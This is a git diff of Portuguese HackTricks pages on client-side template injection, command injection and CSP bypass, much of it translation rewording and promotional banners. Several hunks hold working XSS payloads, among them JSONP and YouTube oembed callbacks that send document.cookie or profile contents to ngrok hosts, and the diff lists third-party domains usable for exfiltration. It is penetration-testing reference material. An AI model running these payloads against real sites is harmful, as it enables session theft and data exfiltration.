* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -17,7 +17,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
É como uma [**Injeção de Template do Lado do Servidor**](ssti-server-side-template-injection/) mas no **cliente**. O **SSTI** pode permitir que você **execute código** no servidor remoto, o **CSTI** poderia permitir que você **execute código JavaScript** arbitrário na vítima.
|
É como uma [**Injeção de Template do Lado do Servidor**](ssti-server-side-template-injection/) mas no **cliente**. O **SSTI** pode permitir que você **execute código** no servidor remoto, o **CSTI** poderia permitir que você **execute código JavaScript** arbitrário na vítima.
|
||||||
|
|
||||||
A maneira de **testar** essa vulnerabilidade é muito **semelhante** ao caso do **SSTI**, o interpretador vai esperar algo para executar **entre chaves duplas** e o executará. Por exemplo, usando algo como: `{{ 7-7 }}` se o servidor for **vulnerável**, você verá um `0` e se não for, verá o original: `{{ 7-7 }}`
|
A maneira de **testar** essa vulnerabilidade é muito **semelhante** ao caso do **SSTI**, o interpretador vai esperar algo para executar **entre chaves duplas** e irá executá-lo. Por exemplo, usando algo como: `{{ 7-7 }}` se o servidor for **vulnerável** você verá um `0` e se não for verá o original: `{{ 7-7 }}`
|
||||||
|
|
||||||
# AngularJS
|
# AngularJS
|
||||||
|
|
||||||
|
@ -43,7 +43,7 @@ Pode encontrar um exemplo online muito **básico da vulnerabilidade** no **Angul
|
||||||
Pode encontrar uma implementação **vulnerável do vue.js** em [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
|
Pode encontrar uma implementação **vulnerável do vue.js** em [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
|
||||||
Payload funcional: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
|
Payload funcional: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
|
||||||
|
|
||||||
E o **código fonte** do exemplo vulnerável está aqui: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
E o **código fonte** do exemplo vulnerável aqui: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
||||||
```markup
|
```markup
|
||||||
<!-- Google Research - Vue.js-->
|
<!-- Google Research - Vue.js-->
|
||||||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||||||
|
@ -96,7 +96,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,17 +6,17 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias **mais avançadas** do mundo.\
|
||||||
Acesse hoje:
|
Acesse hoje:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
@ -27,7 +27,7 @@ Uma **injeção de comando** permite a execução de comandos arbitrários do si
|
||||||
|
|
||||||
### Contexto
|
### Contexto
|
||||||
|
|
||||||
Dependendo de **onde sua entrada está sendo injetada**, pode ser necessário **encerrar o contexto citado** (usando `"` ou `'`) antes dos comandos.
|
Dependendo de **onde sua entrada está sendo injetada** você pode precisar **encerrar o contexto citado** (usando `"` ou `'`) antes dos comandos.
|
||||||
|
|
||||||
## Injeção/Execução de Comando
|
## Injeção/Execução de Comando
|
||||||
```bash
|
```bash
|
||||||
|
@ -147,14 +147,14 @@ powershell C:**2\n??e*d.*? # notepad
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -162,7 +162,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas comunitárias mais avançadas do mundo**.\
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas **mais avançadas** da comunidade.\
|
||||||
Acesse hoje:
|
Acesse hoje:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
|
@ -2,15 +2,15 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -22,7 +22,7 @@ Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
||||||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||||
|
|
||||||
**Notícias de Hacking em Tempo Real**\
|
**Notícias de Hacking em Tempo Real**\
|
||||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
|
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
||||||
|
|
||||||
**Últimos Anúncios**\
|
**Últimos Anúncios**\
|
||||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||||
|
@ -68,13 +68,13 @@ object-src 'none';
|
||||||
|
|
||||||
* **script-src**: Permite fontes específicas para JavaScript, incluindo URLs, scripts inline e scripts acionados por manipuladores de eventos ou folhas de estilo XSLT.
|
* **script-src**: Permite fontes específicas para JavaScript, incluindo URLs, scripts inline e scripts acionados por manipuladores de eventos ou folhas de estilo XSLT.
|
||||||
* **default-src**: Define uma política padrão para buscar recursos quando diretivas de busca específicas estão ausentes.
|
* **default-src**: Define uma política padrão para buscar recursos quando diretivas de busca específicas estão ausentes.
|
||||||
* **child-src**: Especifica recursos permitidos para workers da web e conteúdos de frames incorporados.
|
* **child-src**: Especifica recursos permitidos para workers web e conteúdos de frames incorporados.
|
||||||
* **connect-src**: Restringe URLs que podem ser carregadas usando interfaces como fetch, WebSocket, XMLHttpRequest.
|
* **connect-src**: Restringe URLs que podem ser carregadas usando interfaces como fetch, WebSocket, XMLHttpRequest.
|
||||||
* **frame-src**: Restringe URLs para frames.
|
* **frame-src**: Restringe URLs para frames.
|
||||||
* **frame-ancestors**: Especifica quais fontes podem incorporar a página atual, aplicável a elementos como `<frame>`, `<iframe>`, `<object>`, `<embed>` e `<applet>`.
|
* **frame-ancestors**: Especifica quais fontes podem incorporar a página atual, aplicável a elementos como `<frame>`, `<iframe>`, `<object>`, `<embed>` e `<applet>`.
|
||||||
* **img-src**: Define fontes permitidas para imagens.
|
* **img-src**: Define fontes permitidas para imagens.
|
||||||
* **font-src**: Especifica fontes válidas para fontes carregadas usando `@font-face`.
|
* **font-src**: Especifica fontes válidas para fontes carregadas usando `@font-face`.
|
||||||
* **manifest-src**: Define fontes permitidas de arquivos de manifesto de aplicativo.
|
* **manifest-src**: Define fontes permitidas para arquivos de manifesto de aplicativo.
|
||||||
* **media-src**: Define fontes permitidas para carregar objetos de mídia.
|
* **media-src**: Define fontes permitidas para carregar objetos de mídia.
|
||||||
* **object-src**: Define fontes permitidas para elementos `<object>`, `<embed>` e `<applet>`.
|
* **object-src**: Define fontes permitidas para elementos `<object>`, `<embed>` e `<applet>`.
|
||||||
* **base-uri**: Especifica URLs permitidos para carregar usando elementos `<base>`.
|
* **base-uri**: Especifica URLs permitidos para carregar usando elementos `<base>`.
|
||||||
|
@ -98,7 +98,7 @@ object-src 'none';
|
||||||
* `'unsafe-hashes'`: Habilita manipuladores de eventos inline específicos.
|
* `'unsafe-hashes'`: Habilita manipuladores de eventos inline específicos.
|
||||||
* `'unsafe-inline'`: Permite o uso de recursos inline como `<script>` ou `<style>` inline, não recomendado por motivos de segurança.
|
* `'unsafe-inline'`: Permite o uso de recursos inline como `<script>` ou `<style>` inline, não recomendado por motivos de segurança.
|
||||||
* `'nonce'`: Uma lista branca para scripts inline específicos usando um nonce criptográfico (número usado uma vez).
|
* `'nonce'`: Uma lista branca para scripts inline específicos usando um nonce criptográfico (número usado uma vez).
|
||||||
* `'sha256-<hash>'`: Lista branca para scripts com um hash sha256 específico.
|
* `'sha256-<hash>'`: Lista branca de scripts com um hash sha256 específico.
|
||||||
* `'strict-dynamic'`: Permite o carregamento de scripts de qualquer fonte se tiver sido listado na lista branca por um nonce ou hash.
|
* `'strict-dynamic'`: Permite o carregamento de scripts de qualquer fonte se tiver sido listado na lista branca por um nonce ou hash.
|
||||||
* `'host'`: Especifica um host específico, como `example.com`.
|
* `'host'`: Especifica um host específico, como `example.com`.
|
||||||
* `https:`: Restringe URLs para aqueles que usam HTTPS.
|
* `https:`: Restringe URLs para aqueles que usam HTTPS.
|
||||||
|
@ -169,13 +169,13 @@ Payload de trabalho:
|
||||||
```markup
|
```markup
|
||||||
"/>'><script src="/uploads/picture.png.js"></script>
|
"/>'><script src="/uploads/picture.png.js"></script>
|
||||||
```
|
```
|
||||||
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **faça upload de um tipo específico de arquivo**.
|
No entanto, é altamente provável que o servidor esteja **validando o arquivo enviado** e só permitirá que você **envie um tipo específico de arquivo**.
|
||||||
|
|
||||||
Além disso, mesmo que você consiga fazer o upload de um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não será suficiente, pois alguns servidores como o servidor apache **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome irão **rejeitar a execução de código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem falhas. Por exemplo, em um CTF eu aprendi que o **Apache não reconhece** a extensão _**.wave**_, portanto não a serve com um **tipo MIME como audio/\***.
|
Além disso, mesmo que você consiga enviar um **código JS dentro** de um arquivo usando uma extensão aceita pelo servidor (como: _script.png_), isso não será suficiente porque alguns servidores como o servidor apache **selecionam o tipo MIME do arquivo com base na extensão** e navegadores como o Chrome irão **rejeitar a execução de código Javascript** dentro de algo que deveria ser uma imagem. "Felizmente", existem falhas. Por exemplo, em um CTF eu aprendi que o **Apache não reconhece** a extensão _**.wave**_, portanto não a serve com um **tipo MIME como audio/\***.
|
||||||
|
|
||||||
A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir encontrar uma **extensão interpretada erroneamente**, você pode tentar fazer o upload de um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglotas aqui](https://github.com/Polydet/polyglot-database)).
|
A partir daqui, se você encontrar um XSS e um envio de arquivo, e conseguir encontrar uma **extensão mal interpretada**, você pode tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglotas aqui](https://github.com/Polydet/polyglot-database)).
|
||||||
|
|
||||||
### Endpoints de Terceiros + ('unsafe-eval')
|
### Pontos de Extremidade de Terceiros + ('unsafe-eval')
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Para alguns dos payloads a seguir, **`unsafe-eval` nem é necessário**.
|
Para alguns dos payloads a seguir, **`unsafe-eval` nem é necessário**.
|
||||||
|
@ -232,7 +232,7 @@ O post mostra que você poderia **carregar** todas as **bibliotecas** de `cdn.cl
|
||||||
{{[].erase.call().alert('xss')}}
|
{{[].erase.call().alert('xss')}}
|
||||||
</div>
|
</div>
|
||||||
```
|
```
|
||||||
#### Explorando o código JS do Google reCAPTCHA
|
#### Abusando do código JS do Google reCAPTCHA
|
||||||
|
|
||||||
De acordo com [**este relatório de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) você pode abusar do [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de um CSP para executar código JS arbitrário, burlando o CSP:
|
De acordo com [**este relatório de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) você pode abusar do [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dentro de um CSP para executar código JS arbitrário, burlando o CSP:
|
||||||
```html
|
```html
|
||||||
|
@ -249,7 +249,7 @@ ng-init="c.init()"
|
||||||
```http
|
```http
|
||||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||||
```
|
```
|
||||||
Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de retorno de chamada inseguros que permitem a um atacante realizar XSS, payload de trabalho:
|
Cenários como este, onde `script-src` está definido como `self` e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os pontos finais JSONP permitem métodos de retorno de chamada inseguros que permitem a um atacante realizar XSS, payload de trabalho:
|
||||||
```markup
|
```markup
|
||||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||||
|
@ -259,25 +259,25 @@ Cenários como este, onde `script-src` está definido como `self` e um domínio
|
||||||
https://www.youtube.com/oembed?callback=alert;
|
https://www.youtube.com/oembed?callback=alert;
|
||||||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
||||||
```
|
```
|
||||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contém endpoints JSONP prontos para serem usados para burlar CSP de diferentes sites.**
|
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contém endpoints JSONP prontos para uso para burlar CSP de diferentes sites.**
|
||||||
|
|
||||||
A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Redirecionamento Aberto** porque se o endpoint inicial for confiável, os redirecionamentos também são confiáveis.
|
A mesma vulnerabilidade ocorrerá se o **endpoint confiável contiver um Redirecionamento Aberto** porque se o endpoint inicial for confiável, os redirecionamentos também são confiáveis.
|
||||||
|
|
||||||
### Abusos de Terceiros
|
### Abusos de Terceiros
|
||||||
Conforme descrito no [seguinte post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
|
Conforme descrito no [post seguinte](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
|
||||||
|
|
||||||
| Entidade | Domínio Permitido | Capacidades |
|
| Entidade | Domínio Permitido | Capacidades |
|
||||||
|--------|----------------|--------------|
|
|----------|-------------------|-------------|
|
||||||
| Facebook | www.facebook.com, *.facebook.com | Exfil |
|
| Facebook | www.facebook.com, *.facebook.com | Exfil |
|
||||||
| Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
|
| Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
|
||||||
| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||||
| Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
|
| Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
|
||||||
| Amazon AWS | *.amazonaws.com | Exfil, Exec |
|
| Amazon AWS | *.amazonaws.com | Exfil, Exec |
|
||||||
| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
|
| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
|
||||||
| Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
|
| Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
|
||||||
| Google Firebase | *.firebaseapp.com | Exfil, Exec |
|
| Google Firebase | *.firebaseapp.com | Exfil, Exec |
|
||||||
|
|
||||||
Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa burlar o CSP se registrando no serviço de terceiros e, assim, exfiltrar dados para esse serviço ou executar código.
|
Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa burlar o CSP registrando-se no serviço de terceiros e, assim, exfiltrar dados para esse serviço ou executar código.
|
||||||
|
|
||||||
Por exemplo, se você encontrar o seguinte CSP:
|
Por exemplo, se você encontrar o seguinte CSP:
|
||||||
```
|
```
|
||||||
|
@ -287,49 +287,48 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||||
|
|
||||||
## Introduction
|
## Introduction
|
||||||
|
|
||||||
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific web page. However, in some cases, CSP can be misconfigured or not implemented properly, leading to potential security vulnerabilities.
|
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control which resources can be loaded on their websites. However, CSP can sometimes be misconfigured, allowing attackers to bypass its restrictions.
|
||||||
|
|
||||||
## Bypass Techniques
|
In this guide, we will explore various techniques to bypass CSP protections and execute malicious code on a target website.
|
||||||
|
|
||||||
### 1. Inline Script Execution
|
## Table of Contents
|
||||||
|
|
||||||
If a CSP allows `'unsafe-inline'` for script-src, it permits the execution of inline JavaScript code. This can be exploited by an attacker to execute arbitrary code inline, bypassing the CSP restrictions.
|
- [Bypassing CSP with Inline Scripts](bypassing-csp-inline-scripts.md)
|
||||||
|
- [Bypassing CSP with External Scripts](bypassing-csp-external-scripts.md)
|
||||||
|
- [Bypassing CSP with Inline Styles](bypassing-csp-inline-styles.md)
|
||||||
|
- [Bypassing CSP with External Styles](bypassing-csp-external-styles.md)
|
||||||
|
- [Bypassing CSP with Nonces](bypassing-csp-nonces.md)
|
||||||
|
- [Bypassing CSP with Trusted Types](bypassing-csp-trusted-types.md)
|
||||||
|
|
||||||
